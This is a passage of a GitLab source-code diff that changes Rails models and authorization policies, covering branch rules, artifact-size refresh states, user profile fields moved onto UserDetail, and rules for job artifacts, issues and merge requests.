diff --git a/app/models/projects/branch_rule.rb b/app/models/projects/branch_rule.rb
new file mode 100644
index 00000000000..ae59d24e557
--- /dev/null
+++ b/app/models/projects/branch_rule.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module Projects
+ class BranchRule
+ extend Forwardable
+
+ attr_reader :project, :protected_branch
+
+ def_delegators(:protected_branch, :name, :group, :default_branch?, :created_at, :updated_at)
+
+ def initialize(project, protected_branch)
+ @protected_branch = protected_branch
+ @project = project
+ end
+
+ def protected?
+ true
+ end
+
+ def matching_branches_count
+ branch_names = project.repository.branch_names
+ matching_branches = protected_branch.matching(branch_names)
+ matching_branches.count
+ end
+
+ def branch_protection
+ protected_branch
+ end
+ end
+end
+
+Projects::BranchRule.prepend_mod
diff --git a/app/models/projects/build_artifacts_size_refresh.rb b/app/models/projects/build_artifacts_size_refresh.rb
index 2ffc7478178..b791cb1254c 100644
--- a/app/models/projects/build_artifacts_size_refresh.rb
+++ b/app/models/projects/build_artifacts_size_refresh.rb
@@ -7,16 +7,34 @@ module Projects
STALE_WINDOW = 2.hours
+ # This delay is set to 10 minutes to accommodate any ongoing
+ # deletion that might have happened.
+ # The delete on the database may have been committed before
+ # the refresh completed its batching. If the resulting decrement is
+ # pushed into Redis after the refresh has ended, it would result in net negative value.
+ # The delay is needed to ensure this negative value is ignored.
+ FINALIZE_DELAY = 10.minutes
+
self.table_name = 'project_build_artifacts_size_refreshes'
+ COUNTER_ATTRIBUTE_NAME = :build_artifacts_size
+
belongs_to :project
validates :project, presence: true
+ # The refresh of the project statistics counter is performed in 4 stages:
+ # 1. created - The refresh is on the queue to be processed by Projects::RefreshBuildArtifactsSizeStatisticsWorker
+ # 2. running - The refresh is ongoing. The project statistics counter switches to the temporary refresh counter key.
+ # Counter increments are deduplicated.
+ # 3. pending - The refresh is pending to be picked up by Projects::RefreshBuildArtifactsSizeStatisticsWorker again.
+ # 4. finalizing - The refresh has finished summing existing job artifact size into the refresh counter key.
+ # The sum will need to be moved into the counter key.
STATES = {
created: 1,
running: 2,
- pending: 3
+ pending: 3,
+ finalizing: 4
}.freeze
state_machine :state, initial: :created do
@@ -24,6 +42,7 @@ module Projects
state :created, value: STATES[:created]
state :running, value: STATES[:running]
state :pending, value: STATES[:pending]
+ state :finalizing, value: STATES[:finalizing]
event :process do
transition [:created, :pending, :running] => :running
@@ -33,7 +52,10 @@ module Projects
transition running: :pending
end
- # set it only the first time we execute the refresh
+ event :schedule_finalize do
+ transition running: :finalizing
+ end
+
before_transition created: :running do |refresh|
refresh.reset_project_statistics!
refresh.refresh_started_at = Time.zone.now
@@ -47,6 +69,10 @@ module Projects
before_transition running: :pending do |refresh, transition|
refresh.last_job_artifact_id = transition.args.first
end
+
+ before_transition running: :finalizing do |refresh, transition|
+ refresh.schedule_finalize_worker
+ end
end
scope :stale, -> { with_state(:running).where('updated_at < ?', STALE_WINDOW.ago) }
@@ -80,7 +106,7 @@ module Projects
end
def reset_project_statistics!
- project.statistics.reset_counter!(:build_artifacts_size)
+ project.statistics.initiate_refresh!(COUNTER_ATTRIBUTE_NAME)
end
def next_batch(limit:)
@@ -95,6 +121,18 @@ module Projects
!created?
end
+ def finalize!
+ project.statistics.finalize_refresh(COUNTER_ATTRIBUTE_NAME)
+
+ destroy!
+ end
+
+ def schedule_finalize_worker
+ run_after_commit do
+ Projects::FinalizeProjectStatisticsRefreshWorker.perform_in(FINALIZE_DELAY, self.class.to_s, id)
+ end
+ end
+
private
def schedule_namespace_aggregation_worker
diff --git a/app/models/protected_branch.rb b/app/models/protected_branch.rb
index c59ef4cd80b..050db3b6870 100644
--- a/app/models/protected_branch.rb
+++ b/app/models/protected_branch.rb
@@ -8,11 +8,9 @@ class ProtectedBranch < ApplicationRecord
validate :validate_either_project_or_top_group
- scope :requiring_code_owner_approval,
- -> { where(code_owner_approval_required: true) }
-
- scope :allowing_force_push,
- -> { where(allow_force_push: true) }
+ scope :requiring_code_owner_approval, -> { where(code_owner_approval_required: true) }
+ scope :allowing_force_push, -> { where(allow_force_push: true) }
+ scope :sorted_by_name, -> { order(name: :asc) }
protected_ref_access_levels :merge, :push
@@ -106,6 +104,10 @@ class ProtectedBranch < ApplicationRecord
name == project.default_branch
end
+ def entity
+ group || project
+ end
+
private
def validate_either_project_or_top_group
@@ -113,7 +115,7 @@ class ProtectedBranch < ApplicationRecord
errors.add(:base, _('must be associated with a Group or a Project'))
elsif project && group
errors.add(:base, _('cannot be associated with both a Group and a Project'))
- elsif group && group.root_ancestor != group
+ elsif group && group.subgroup?
errors.add(:base, _('cannot be associated with a subgroup'))
end
end
diff --git a/app/models/protected_branch/merge_access_level.rb b/app/models/protected_branch/merge_access_level.rb
index df75c557717..76e620aa3bf 100644
--- a/app/models/protected_branch/merge_access_level.rb
+++ b/app/models/protected_branch/merge_access_level.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
class ProtectedBranch::MergeAccessLevel < ApplicationRecord
+ include Importable
include ProtectedBranchAccess
# default value for the access_level column
GITLAB_DEFAULT_ACCESS_LEVEL = Gitlab::Access::MAINTAINER
diff --git a/app/models/protected_branch/push_access_level.rb b/app/models/protected_branch/push_access_level.rb
index 6076fab20b7..66fe57be25f 100644
--- a/app/models/protected_branch/push_access_level.rb
+++ b/app/models/protected_branch/push_access_level.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
class ProtectedBranch::PushAccessLevel < ApplicationRecord
+ include Importable
include ProtectedBranchAccess
# default value for the access_level column
GITLAB_DEFAULT_ACCESS_LEVEL = Gitlab::Access::MAINTAINER
diff --git a/app/models/protected_tag/create_access_level.rb b/app/models/protected_tag/create_access_level.rb
index 9fcfa7646a2..5d8b1fb4f71 100644
--- a/app/models/protected_tag/create_access_level.rb
+++ b/app/models/protected_tag/create_access_level.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
class ProtectedTag::CreateAccessLevel < ApplicationRecord
+ include Importable
include ProtectedTagAccess
def check_access(user)
diff --git a/app/models/release.rb b/app/models/release.rb
index 5ef3ff1bc6c..b770f3934ef 100644
--- a/app/models/release.rb
+++ b/app/models/release.rb
@@ -26,12 +26,13 @@ class Release < ApplicationRecord
before_create :set_released_at
validates :project, :tag, presence: true
+ validates :author_id, presence: true, if: :validate_release_with_author?
+
validates :tag, uniqueness: { scope: :project_id }
validates :description, length: { maximum: Gitlab::Database::MAX_TEXT_SIZE_LIMIT }, if: :description_changed?
validates_associated :milestone_releases, message: -> (_, obj) { obj[:value].map(&:errors).map(&:full_messages).join(",") }
validates :links, nested_attributes_duplicates: { scope: :release, child_attributes: %i[name url filepath] }
- validates :author_id, presence: true, on: :create, if: :validate_release_with_author?
scope :sorted, -> { order(released_at: :desc) }
scope :preloaded, -> {
diff --git a/app/models/repository.rb b/app/models/repository.rb
index 90e87de4a5b..cedfed16b20 100644
--- a/app/models/repository.rb
+++ b/app/models/repository.rb
@@ -189,6 +189,8 @@ class Repository
return []
end
+ query = Feature.enabled?(:commit_search_trailing_spaces) ? query.strip : query
+
commits = raw_repository.find_commits_by_message(query, ref, path, limit, offset).map do |c|
commit(c)
end
@@ -631,7 +633,11 @@ class Repository
end
def readme_path
- head_tree&.readme_path
+ if Feature.enabled?(:readme_from_gitaly)
+ readme_path_gitaly
+ else
+ head_tree&.readme_path
+ end
end
cache_method :readme_path
@@ -1239,6 +1245,29 @@ class Repository
container.full_path,
container: container)
end
+
+ def readme_path_gitaly
+ return if empty? || root_ref.nil?
+
+ # (?i) to enable case-insensitive mode
+ #
+ # Note: `Gitlab::FileDetector::PATTERNS[:readme]#to_s` won't work because of
+ # incompatibility of regex engines between Rails and Gitaly.
+ regex = "(?i)#{Gitlab::FileDetector::PATTERNS[:readme].source}"
+
+ readmes = search_files_by_regexp(regex, root_ref)
+
+ choose_readme_to_display(readmes)
+ end
+
+ # Extracted from Tree#readme_path
+ def choose_readme_to_display(readmes)
+ previewable_readme = readmes.find { |name| Gitlab::MarkupHelper.previewable?(name) }
+
+ return previewable_readme if previewable_readme
+
+ readmes.find { |name| Gitlab::MarkupHelper.plain?(name) }
+ end
end
Repository.prepend_mod_with('Repository')
diff --git a/app/models/resource_event.rb b/app/models/resource_event.rb
index 8b82e0f343c..551ea984132 100644
--- a/app/models/resource_event.rb
+++ b/app/models/resource_event.rb
@@ -3,6 +3,8 @@
class ResourceEvent < ApplicationRecord
include Gitlab::Utils::StrongMemoize
include Importable
+ include IssueResourceEvent
+ include WorkItemResourceEvent
self.abstract_class = true
@@ -18,6 +20,10 @@ class ResourceEvent < ApplicationRecord
end
end
+ def issuable
+ raise NoMethodError, 'must implement `issuable` method'
+ end
+
private
def discussion_id_key
diff --git a/app/models/resource_label_event.rb b/app/models/resource_label_event.rb
index a1426540cf5..efffc1bd6dc 100644
--- a/app/models/resource_label_event.rb
+++ b/app/models/resource_label_event.rb
@@ -2,7 +2,6 @@
class ResourceLabelEvent < ResourceEvent
include CacheMarkdownField
- include IssueResourceEvent
include MergeRequestResourceEvent
cache_markdown_field :reference
@@ -39,6 +38,10 @@ class ResourceLabelEvent < ResourceEvent
issue || merge_request
end
+ def synthetic_note_class
+ LabelNote
+ end
+
def project
issuable.project
end
diff --git a/app/models/resource_milestone_event.rb b/app/models/resource_milestone_event.rb
index 5fd71612de0..def7e91af3f 100644
--- a/app/models/resource_milestone_event.rb
+++ b/app/models/resource_milestone_event.rb
@@ -19,4 +19,8 @@ class ResourceMilestoneEvent < ResourceTimeboxEvent
def milestone_parent
milestone&.parent
end
+
+ def synthetic_note_class
+ MilestoneNote
+ end
end
diff --git a/app/models/resource_state_event.rb b/app/models/resource_state_event.rb
index 6ebb9d5f176..134f71e35ad 100644
--- a/app/models/resource_state_event.rb
+++ b/app/models/resource_state_event.rb
@@ -1,7 +1,6 @@
# frozen_string_literal: true
class ResourceStateEvent < ResourceEvent
- include IssueResourceEvent
include MergeRequestResourceEvent
include Importable
@@ -26,6 +25,10 @@ class ResourceStateEvent < ResourceEvent
issue_id.present?
end
+ def synthetic_note_class
+ StateNote
+ end
+
private
def issue_usage_metrics
diff --git a/app/models/resource_timebox_event.rb b/app/models/resource_timebox_event.rb
index 26bf2a225d4..dddd4d0fe84 100644
--- a/app/models/resource_timebox_event.rb
+++ b/app/models/resource_timebox_event.rb
@@ -1,12 +1,11 @@
# frozen_string_literal: true
class ResourceTimeboxEvent < ResourceEvent
- self.abstract_class = true
-
- include IssueResourceEvent
include MergeRequestResourceEvent
include Importable
+ self.abstract_class = true
+
validate :exactly_one_issuable, unless: :importing?
enum action: {
diff --git a/app/models/synthetic_note.rb b/app/models/synthetic_note.rb
index a60c0d2f3bc..f88fa052665 100644
--- a/app/models/synthetic_note.rb
+++ b/app/models/synthetic_note.rb
@@ -14,7 +14,7 @@ class SyntheticNote < Note
discussion_id: event.discussion_id,
noteable: resource,
event: event,
- system_note_metadata: ::SystemNoteMetadata.new(action: action),
+ system_note_metadata: ::SystemNoteMetadata.new(action: action, id: event.discussion_id),
resource_parent: resource_parent
}
diff --git a/app/models/system_note_metadata.rb b/app/models/system_note_metadata.rb
index 4e86036952b..36166bdbc9a 100644
--- a/app/models/system_note_metadata.rb
+++ b/app/models/system_note_metadata.rb
@@ -34,6 +34,12 @@ class SystemNoteMetadata < ApplicationRecord
belongs_to :note
belongs_to :description_version
+ delegate_missing_to :note
+
+ def declarative_policy_delegate
+ note
+ end
+
def icon_types
ICON_TYPES
end
diff --git a/app/models/timelog.rb b/app/models/timelog.rb
index 7c394736560..07c61f64f29 100644
--- a/app/models/timelog.rb
+++ b/app/models/timelog.rb
@@ -35,10 +35,21 @@ class Timelog < ApplicationRecord
where('spent_at <= ?', end_time)
end
+ scope :order_scope_asc, ->(field) { order(arel_table[field].asc.nulls_last) }
+ scope :order_scope_desc, ->(field) { order(arel_table[field].desc.nulls_last) }
+
def issuable
issue || merge_request
end
+ def self.sort_by_field(field, direction)
+ if direction == :asc
+ order_scope_asc(field)
+ else
+ order_scope_desc(field)
+ end
+ end
+
private
def issuable_id_is_present
diff --git a/app/models/todo.rb b/app/models/todo.rb
index 32ec4accb4b..7bbdf321269 100644
--- a/app/models/todo.rb
+++ b/app/models/todo.rb
@@ -204,10 +204,18 @@ class Todo < ApplicationRecord
action == MEMBER_ACCESS_REQUESTED
end
- def access_request_url
- return "" unless self.target_type == 'Namespace'
+ def member_access_type
+ target.class.name.downcase
+ end
- Gitlab::Routing.url_helpers.group_group_members_url(self.target, tab: 'access_requests')
+ def access_request_url(only_path: false)
+ if target.instance_of? Group
+ Gitlab::Routing.url_helpers.group_group_members_url(self.target, tab: 'access_requests', only_path: only_path)
+ elsif target.instance_of? Project
+ Gitlab::Routing.url_helpers.project_project_members_url(self.target, tab: 'access_requests', only_path: only_path)
+ else
+ ""
+ end
end
def done?
diff --git a/app/models/user.rb b/app/models/user.rb
index ba3f7922c9c..da6e1abad07 100644
--- a/app/models/user.rb
+++ b/app/models/user.rb
@@ -63,12 +63,13 @@ class User < ApplicationRecord
attribute :admin, default: false
attribute :external, default: -> { Gitlab::CurrentSettings.user_default_external }
attribute :can_create_group, default: -> { Gitlab::CurrentSettings.can_create_group }
+ attribute :private_profile, default: -> { Gitlab::CurrentSettings.user_defaults_to_private_profile }
attribute :can_create_team, default: false
attribute :hide_no_ssh_key, default: false
attribute :hide_no_password, default: false
attribute :project_view, default: :files
attribute :notified_of_own_activity, default: false
- attribute :preferred_language, default: -> { I18n.default_locale }
+ attribute :preferred_language, default: -> { Gitlab::CurrentSettings.default_preferred_language }
attribute :theme_id, default: -> { gitlab_config.default_theme }
attr_encrypted :otp_secret,
@@ -100,6 +101,8 @@ class User < ApplicationRecord
MINIMUM_DAYS_CREATED = 7
+ ignore_columns %i[linkedin twitter skype website_url location organization], remove_with: '15.8', remove_after: '2023-01-22'
+
# Override Devise::Models::Trackable#update_tracked_fields!
# to limit database writes to at most once every hour
# rubocop: disable CodeReuse/ServiceClass
@@ -214,7 +217,7 @@ class User < ApplicationRecord
has_many :releases, dependent: :nullify, foreign_key: :author_id # rubocop:disable Cop/ActiveRecordDependent
has_many :subscriptions, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
has_many :oauth_applications, class_name: 'Doorkeeper::Application', as: :owner, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
- has_one :abuse_report, dependent: :destroy, foreign_key: :user_id # rubocop:disable Cop/ActiveRecordDependent
+ has_many :abuse_reports, dependent: :destroy, foreign_key: :user_id # rubocop:disable Cop/ActiveRecordDependent
has_many :reported_abuse_reports, dependent: :destroy, foreign_key: :reporter_id, class_name: "AbuseReport" # rubocop:disable Cop/ActiveRecordDependent
has_many :spam_logs, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
has_many :builds, class_name: 'Ci::Build'
@@ -262,8 +265,11 @@ class User < ApplicationRecord
has_many :resource_label_events, dependent: :nullify # rubocop:disable Cop/ActiveRecordDependent
has_many :resource_state_events, dependent: :nullify # rubocop:disable Cop/ActiveRecordDependent
has_many :authored_events, class_name: 'Event', dependent: :destroy, foreign_key: :author_id # rubocop:disable Cop/ActiveRecordDependent
-
- has_many :namespace_commit_emails
+ has_many :namespace_commit_emails, class_name: 'Users::NamespaceCommitEmail'
+ has_many :user_achievements, class_name: 'Achievements::UserAchievement', inverse_of: :user
+ has_many :awarded_user_achievements, class_name: 'Achievements::UserAchievement', foreign_key: 'awarded_by_user_id', inverse_of: :awarded_by_user
+ has_many :revoked_user_achievements, class_name: 'Achievements::UserAchievement', foreign_key: 'revoked_by_user_id', inverse_of: :revoked_by_user
+ has_many :achievements, through: :user_achievements, class_name: 'Achievements::Achievement', inverse_of: :users
#
# Validations
@@ -298,19 +304,15 @@ class User < ApplicationRecord
validates :color_scheme_id, allow_nil: true, inclusion: { in: Gitlab::ColorSchemes.valid_ids,
message: ->(*) { _("%{placeholder} is not a valid color scheme") % { placeholder: '%{value}' } } }
- validates :website_url, allow_blank: true, url: true, if: :website_url_changed?
-
after_initialize :set_projects_limit
before_validation :sanitize_attrs
before_validation :ensure_namespace_correct
after_validation :set_username_errors
- before_save :default_private_profile_to_false
before_save :ensure_incoming_email_token
before_save :ensure_user_rights_and_limits, if: ->(user) { user.new_record? || user.external_changed? }
before_save :skip_reconfirmation!, if: ->(user) { user.email_changed? && user.read_only_attribute?(:email) }
before_save :check_for_verified_email, if: ->(user) { user.email_changed? && !user.new_record? }
before_save :ensure_namespace_correct # in case validation is skipped
- before_save :ensure_user_detail_assigned
after_update :username_changed_hook, if: :saved_change_to_username?
after_destroy :post_destroy_hook
after_destroy :remove_key_cache
@@ -372,6 +374,12 @@ class User < ApplicationRecord
delegate :pronunciation, :pronunciation=, to: :user_detail, allow_nil: true
delegate :registration_objective, :registration_objective=, to: :user_detail, allow_nil: true
delegate :requires_credit_card_verification, :requires_credit_card_verification=, to: :user_detail, allow_nil: true
+ delegate :linkedin, :linkedin=, to: :user_detail, allow_nil: true
+ delegate :twitter, :twitter=, to: :user_detail, allow_nil: true
+ delegate :skype, :skype=, to: :user_detail, allow_nil: true
+ delegate :website_url, :website_url=, to: :user_detail, allow_nil: true
+ delegate :location, :location=, to: :user_detail, allow_nil: true
+ delegate :organization, :organization=, to: :user_detail, allow_nil: true
accepts_nested_attributes_for :user_preference, update_only: true
accepts_nested_attributes_for :user_detail, update_only: true
@@ -531,9 +539,7 @@ class User < ApplicationRecord
strip_attributes! :name
def preferred_language
- read_attribute('preferred_language') ||
- I18n.default_locale.to_s.presence_in(Gitlab::I18n.available_locales) ||
- default_preferred_language
+ read_attribute('preferred_language').presence || Gitlab::CurrentSettings.default_preferred_language
end
def active_for_authentication?
@@ -1401,17 +1407,9 @@ class User < ApplicationRecord
end
def sanitize_attrs
- sanitize_links
sanitize_name
end
- def sanitize_links
- %i[skype linkedin twitter].each do |attr|
- value = self[attr]
- self[attr] = Sanitize.clean(value) if value.present?
- end
- end
-
def sanitize_name
return unless self.name
@@ -1595,11 +1593,6 @@ class User < ApplicationRecord
end
end
- # Temporary, will be removed when user_detail fields are fully migrated
- def ensure_user_detail_assigned
- user_detail.assign_changed_fields_from_user if UserDetail.user_fields_changed?(self)
- end
-
def set_username_errors
namespace_path_errors = self.errors.delete(:"namespace.path")
@@ -1890,7 +1883,7 @@ class User < ApplicationRecord
def invalidate_issue_cache_counts
Rails.cache.delete(['users', id, 'assigned_open_issues_count'])
- Rails.cache.delete(['users', id, 'max_assigned_open_issues_count']) if Feature.enabled?(:limit_assigned_issues_count)
+ Rails.cache.delete(['users', id, 'max_assigned_open_issues_count'])
end
def invalidate_merge_request_cache_counts
@@ -2189,6 +2182,13 @@ class User < ApplicationRecord
public_email.presence || _('[REDACTED]')
end
+ def namespace_commit_email_for_project(project)
+ return if project.nil?
+
+ namespace_commit_emails.find_by(namespace: project.project_namespace) ||
+ namespace_commit_emails.find_by(namespace: project.root_namespace)
+ end
+
protected
# override, from Devise::Validatable
@@ -2230,11 +2230,6 @@ class User < ApplicationRecord
otp_backup_codes.first.start_with?("$pbkdf2-sha512$")
end
- # To enable JiHu repository to modify the default language options
- def default_preferred_language
- 'en'
- end
-
# rubocop: disable CodeReuse/ServiceClass
def add_primary_email_to_emails!
Emails::CreateService.new(self, user: self, email: self.email).execute(confirmed_at: self.confirmed_at)
@@ -2299,12 +2294,6 @@ class User < ApplicationRecord
])
end
- def default_private_profile_to_false
- return unless private_profile_changed? && private_profile.nil?
-
- self.private_profile = false
- end
-
def has_current_license?
false
end
diff --git a/app/models/user_custom_attribute.rb b/app/models/user_custom_attribute.rb
index 559e93be360..4ebb8ba9f00 100644
--- a/app/models/user_custom_attribute.rb
+++ b/app/models/user_custom_attribute.rb
@@ -11,6 +11,9 @@ class UserCustomAttribute < ApplicationRecord
scope :by_updated_at, ->(updated_at) { where(updated_at: updated_at) }
scope :arkose_sessions, -> { by_key('arkose_session') }
+ BLOCKED_BY = 'blocked_by'
+ UNBLOCKED_BY = 'unblocked_by'
+
class << self
def upsert_custom_attributes(custom_attributes)
created_at = DateTime.now
diff --git a/app/models/user_detail.rb b/app/models/user_detail.rb
index 0570bc2f395..b6765cb0285 100644
--- a/app/models/user_detail.rb
+++ b/app/models/user_detail.rb
@@ -22,14 +22,10 @@ class UserDetail < ApplicationRecord
validates :website_url, length: { maximum: DEFAULT_FIELD_LENGTH }, url: true, allow_blank: true, if: :website_url_changed?
before_validation :sanitize_attrs
- before_save :prevent_nil_bio
+ before_save :prevent_nil_fields
enum registration_objective: REGISTRATION_OBJECTIVE_PAIRS, _suffix: true
- def self.user_fields_changed?(user)
- (%w[linkedin skype twitter website_url location organization] & user.changed).any?
- end
-
def sanitize_attrs
%i[linkedin skype twitter website_url].each do |attr|
value = self[attr]
@@ -41,25 +37,16 @@ class UserDetail < ApplicationRecord
end
end
- def assign_changed_fields_from_user
- self.linkedin = trim_field(user.linkedin) if user.linkedin_changed?
- self.twitter = trim_field(user.twitter) if user.twitter_changed?
- self.skype = trim_field(user.skype) if user.skype_changed?
- self.website_url = trim_field(user.website_url) if user.website_url_changed?
- self.location = trim_field(user.location) if user.location_changed?
- self.organization = trim_field(user.organization) if user.organization_changed?
- end
-
private
- def prevent_nil_bio
- self.bio = '' if bio_changed? && bio.nil?
- end
-
- def trim_field(value)
- return '' unless value
-
- value.first(DEFAULT_FIELD_LENGTH)
+ def prevent_nil_fields
+ self.bio = '' if bio.nil?
+ self.linkedin = '' if linkedin.nil?
+ self.twitter = '' if twitter.nil?
+ self.skype = '' if skype.nil?
+ self.location = '' if location.nil?
+ self.organization = '' if organization.nil?
+ self.website_url = '' if website_url.nil?
end
end
diff --git a/app/models/users/namespace_commit_email.rb b/app/models/users/namespace_commit_email.rb
index 4ec02f12717..883b17187ca 100644
--- a/app/models/users/namespace_commit_email.rb
+++ b/app/models/users/namespace_commit_email.rb
@@ -9,6 +9,22 @@ module Users
validates :user, presence: true
validates :namespace, presence: true
validates :email, presence: true
- validates :user_id, uniqueness: { scope: [:namespace_id] }
+ validates :user, uniqueness: { scope: :namespace_id }
+ validate :validate_root_group
+
+ def self.delete_for_namespace(namespace)
+ where(namespace: namespace).delete_all
+ end
+
+ private
+
+ def validate_root_group
+ # Due to the way Rails validations are invoked all at once,
+ # namespace sometimes won't exist when this is ran even though we have a validation for presence first.
+ return unless namespace&.group_namespace?
+ return if namespace.root?
+
+ errors.add(:namespace, _('must be a root group.'))
+ end
end
end
diff --git a/app/models/work_item.rb b/app/models/work_item.rb
index 0810c520f7e..f94e831437a 100644
--- a/app/models/work_item.rb
+++ b/app/models/work_item.rb
@@ -13,6 +13,8 @@ class WorkItem < Issue
has_many :child_links, class_name: '::WorkItems::ParentLink', foreign_key: :work_item_parent_id
has_many :work_item_children, through: :child_links, class_name: 'WorkItem',
foreign_key: :work_item_id, source: :work_item
+ has_many :work_item_children_by_created_at, -> { order(:created_at) }, through: :child_links, class_name: 'WorkItem',
+ foreign_key: :work_item_id, source: :work_item
scope :inc_relations_for_permission_check, -> { includes(:author, project: :project_feature) }
diff --git a/app/models/work_items/parent_link.rb b/app/models/work_items/parent_link.rb
index 33857fb08c2..21e31980fda 100644
--- a/app/models/work_items/parent_link.rb
+++ b/app/models/work_items/parent_link.rb
@@ -2,6 +2,8 @@
module WorkItems
class ParentLink < ApplicationRecord
+ include RelativePositioning
+
self.table_name = 'work_item_parent_links'
MAX_CHILDREN = 100
@@ -31,6 +33,14 @@ module WorkItems
link.work_item_parent.confidential?
end
+
+ def relative_positioning_query_base(parent_link)
+ where(work_item_parent_id: parent_link.work_item_parent_id)
+ end
+
+ def relative_positioning_parent_column
+ :work_item_parent_id
+ end
end
private
diff --git a/app/models/work_items/widgets/hierarchy.rb b/app/models/work_items/widgets/hierarchy.rb
index d0819076efd..ee10c631bcc 100644
--- a/app/models/work_items/widgets/hierarchy.rb
+++ b/app/models/work_items/widgets/hierarchy.rb
@@ -8,7 +8,7 @@ module WorkItems
end
def children
- work_item.work_item_children
+ work_item.work_item_children_by_created_at
end
end
end
diff --git a/app/policies/achievements/achievement_policy.rb b/app/policies/achievements/achievement_policy.rb
new file mode 100644
index 00000000000..9723be0196d
--- /dev/null
+++ b/app/policies/achievements/achievement_policy.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Achievements
+ class AchievementPolicy < ::BasePolicy
+ delegate { @subject.namespace }
+ end
+end
diff --git a/app/policies/ci/build_policy.rb b/app/policies/ci/build_policy.rb
index 5ef926ef2e3..ca0b51e1385 100644
--- a/app/policies/ci/build_policy.rb
+++ b/app/policies/ci/build_policy.rb
@@ -59,7 +59,7 @@ module Ci
@subject.debug_mode?
end
- condition(:project_read_build, scope: :subject) do
+ condition(:can_read_project_build, scope: :subject) do
can?(:read_build, @subject.project)
end
@@ -71,7 +71,7 @@ module Ci
can?(:developer_access, @subject.project)
end
- rule { project_read_build }.enable :read_build_trace
+ rule { can_read_project_build }.enable :read_build_trace
rule { debug_mode & ~project_update_build }.prevent :read_build_trace
# Authorizing the user to access to protected entities.
@@ -114,7 +114,7 @@ module Ci
prevent :create_build_service_proxy
end
- rule { project_read_build }.enable :read_job_artifacts
+ rule { can_read_project_build }.enable :read_job_artifacts
rule { ~artifacts_public & ~project_developer }.prevent :read_job_artifacts
end
end
diff --git a/app/policies/ci/job_artifact_policy.rb b/app/policies/ci/job_artifact_policy.rb
index e25c7311565..61c935af8ba 100644
--- a/app/policies/ci/job_artifact_policy.rb
+++ b/app/policies/ci/job_artifact_policy.rb
@@ -3,5 +3,20 @@
module Ci
class JobArtifactPolicy < BasePolicy
delegate { @subject.job.project }
+
+ condition(:public_access, scope: :subject) do
+ @subject.public_access?
+ end
+
+ condition(:can_read_project_build, scope: :subject) do
+ can?(:read_build, @subject.job.project)
+ end
+
+ condition(:has_access_to_project) do
+ can?(:developer_access, @subject.job.project)
+ end
+
+ rule { can_read_project_build }.enable :read_job_artifacts
+ rule { ~public_access & ~has_access_to_project }.prevent :read_job_artifacts
end
end
diff --git a/app/policies/description_version_policy.rb b/app/policies/description_version_policy.rb
new file mode 100644
index 00000000000..9ee9df3278b
--- /dev/null
+++ b/app/policies/description_version_policy.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class DescriptionVersionPolicy < BasePolicy
+ delegate { @subject.issuable }
+end
diff --git a/app/policies/email_policy.rb b/app/policies/email_policy.rb
new file mode 100644
index 00000000000..cf10fa893b4
--- /dev/null
+++ b/app/policies/email_policy.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class EmailPolicy < BasePolicy # rubocop:disable Gitlab/NamespacedClass
+ delegate { @subject.user }
+end
diff --git a/app/policies/group_policy.rb b/app/policies/group_policy.rb
index 8eea995529c..b2325b7acac 100644
--- a/app/policies/group_policy.rb
+++ b/app/policies/group_policy.rb
@@ -126,6 +126,7 @@ class GroupPolicy < Namespaces::GroupProjectNamespaceSharedPolicy
enable :read_group_member
enable :read_custom_emoji
enable :read_counts
+ enable :read_achievement
end
rule { ~public_group & ~has_access }.prevent :read_counts
@@ -185,6 +186,7 @@ class GroupPolicy < Namespaces::GroupProjectNamespaceSharedPolicy
enable :maintainer_access
enable :read_upload
enable :destroy_upload
+ enable :admin_achievement
end
rule { owner }.policy do
diff --git a/app/policies/issuable_policy.rb b/app/policies/issuable_policy.rb
index aa07bb7dc5f..52796ed1a1d 100644
--- a/app/policies/issuable_policy.rb
+++ b/app/policies/issuable_policy.rb
@@ -16,6 +16,9 @@ class IssuablePolicy < BasePolicy
condition(:is_incident) { @subject.incident? }
+ desc "Issuable is hidden"
+ condition(:hidden, scope: :subject) { @subject.hidden? }
+
rule { can?(:guest_access) & assignee_or_author & ~is_incident }.policy do
enable :read_issue
enable :update_issue
@@ -55,7 +58,7 @@ class IssuablePolicy < BasePolicy
enable :read_issuable_participables
end
- # This rule replicates permissions in NotePolicy#can_read_confidential
+ # This rule replicates permissions in NotePolicy#can_read_internal_note
rule { can?(:reporter_access) | admin }.policy do
enable :read_internal_note
end
diff --git a/app/policies/issue_policy.rb b/app/policies/issue_policy.rb
index 491eebe9daf..d1e35793c64 100644
--- a/app/policies/issue_policy.rb
+++ b/app/policies/issue_policy.rb
@@ -21,9 +21,6 @@ class IssuePolicy < IssuablePolicy
desc "Issue is confidential"
condition(:confidential, scope: :subject) { @subject.confidential? }
- desc "Issue is hidden"
- condition(:hidden, scope: :subject) { @subject.hidden? }
-
desc "Issue is persisted"
condition(:persisted, scope: :subject) { @subject.persisted? }
@@ -37,7 +34,7 @@ class IssuePolicy < IssuablePolicy
prevent :read_note
prevent :read_internal_note
prevent :set_note_created_at
- prevent :mark_note_as_confidential
+ prevent :mark_note_as_internal
# these actions on notes are not available on issues/work items yet,
# but preventing any action on work item notes as long as there is no notes widget seems reasonable
prevent :resolve_note
@@ -91,6 +88,10 @@ class IssuePolicy < IssuablePolicy
enable :set_confidentiality
end
+ rule { can?(:guest_access) & can?(:read_issue) }.policy do
+ enable :admin_issue_relation
+ end
+
rule { can_read_crm_contacts }.policy do
enable :read_crm_contacts
end
@@ -100,7 +101,7 @@ class IssuePolicy < IssuablePolicy
end
rule { can?(:reporter_access) }.policy do
- enable :mark_note_as_confidential
+ enable :mark_note_as_internal
end
end
diff --git a/app/policies/merge_request_policy.rb b/app/policies/merge_request_policy.rb
index 1759cf057e4..49f9225a1d3 100644
--- a/app/policies/merge_request_policy.rb
+++ b/app/policies/merge_request_policy.rb
@@ -29,6 +29,10 @@ class MergeRequestPolicy < IssuablePolicy
enable :update_subscription
end
+ rule { hidden & ~admin }.policy do
+ prevent :read_merge_request
+ end
+
condition(:can_merge) { @subject.can_be_merged_by?(@user) }
rule { can_merge }.policy do
diff --git a/app/policies/note_policy.rb b/app/policies/note_policy.rb
